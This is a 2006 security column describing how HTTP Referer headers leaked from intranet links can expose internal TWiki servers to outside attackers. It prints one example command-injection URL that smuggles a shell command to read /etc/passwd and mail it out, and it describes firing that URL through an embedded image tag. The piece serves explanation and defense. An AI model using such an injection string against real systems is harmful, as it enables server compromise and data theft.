HTTP Referrer Header Opens Door to Abuse

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor, Information Assurance
Norwich University, Northfield VT

It’s always a pleasure to receive mail (or e-mail) from former students. Jürgen Pabel graduated from the MSIA program in June 2004. He is an experienced network engineer and security consultant for Akkaya Consulting GmbH in Köln (Cologne), Germany and remains an active member of the MSIA Alumni discussion group.

Recently Jürgen sent me the following interesting commentary about links from an intranet to external Web sites. The rest of this column is his work (lightly edited) and I thank him for his contribution.

* * *

I wanted to add a technical security aspect to your story about links from intranet sites to the Internet (although you didn't explicitly address this combination): by linking to an external Web site from an intranet site some internal information may be exposed to the external site -- I am focusing on the HTTP referrer property here. Just the knowledge of this referring site may open an attack vector.

Let me give you a fictional example using a known vulnerability. TWiki is a popular wiki implementation that happens to have a flaw that allows “An attacker … to execute arbitrary shell commands with the privileges of the web server process.…” <http://tinyurl.com/fcaoj>. Suppose an internal site using on your university network that uses TWiki links to my employer's site using the link <http://www.akkaya.de/>.

An attacker with access to our Webserver could thus retrieve the information from the HTTP referrer header, maybe something like this (yes, the header name is actually misspelled in the HTTP standard):

Referer: http://intranet.norwich.edu/twiki/view/MSIA/

From this an attacker could infer that you linked to our Website from a TWiki page. Should your intranet site not have patched a recent security flaw in TWiki, the following will lead to a compromise on your intranet Web server (manual line break inserted for clarity):

http://intranet.norwich.edu/twiki/search/MSIA
?scope=foobar%20';cat /etc/passwd|mail jpabel@akkaya.de'

An attacker could manipulate our Website to deliver an HTML page that causes your browser to automatically call the aforementioned attacking URL (like due to an embedded IMG tag, which is an HTML tag that defines the location of a graphic image such as a GIF or JPEG file).

Thus, by linking to untrusted (i.e., external) sites from restricted networks you may actually extend the scope of vulnerabilities present on an internal network to those present on the
untrusted sites. A good countermeasure could be for an HTTP proxy to strip out such HTTP headers.

* * *

In summary, readers will want to examine their intranets carefully for links to external sites and take extra care to keep their systems properly patched under those circumstances. Danke sehr, Jürgen!

* * *


M. E. Kabay, PhD, CISSP-ISSMP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at <mailto:mkabay@norwich.edu>; Web site at <http://www.mekabay.com/index.htm>.

Copyright © 2006 Jürgen Pabel & M. E. Kabay. All rights reserved.

Permission is hereby granted to Network World to distribute this article at will, to post it without limit on any Web site, and to republish it in any way they see fit.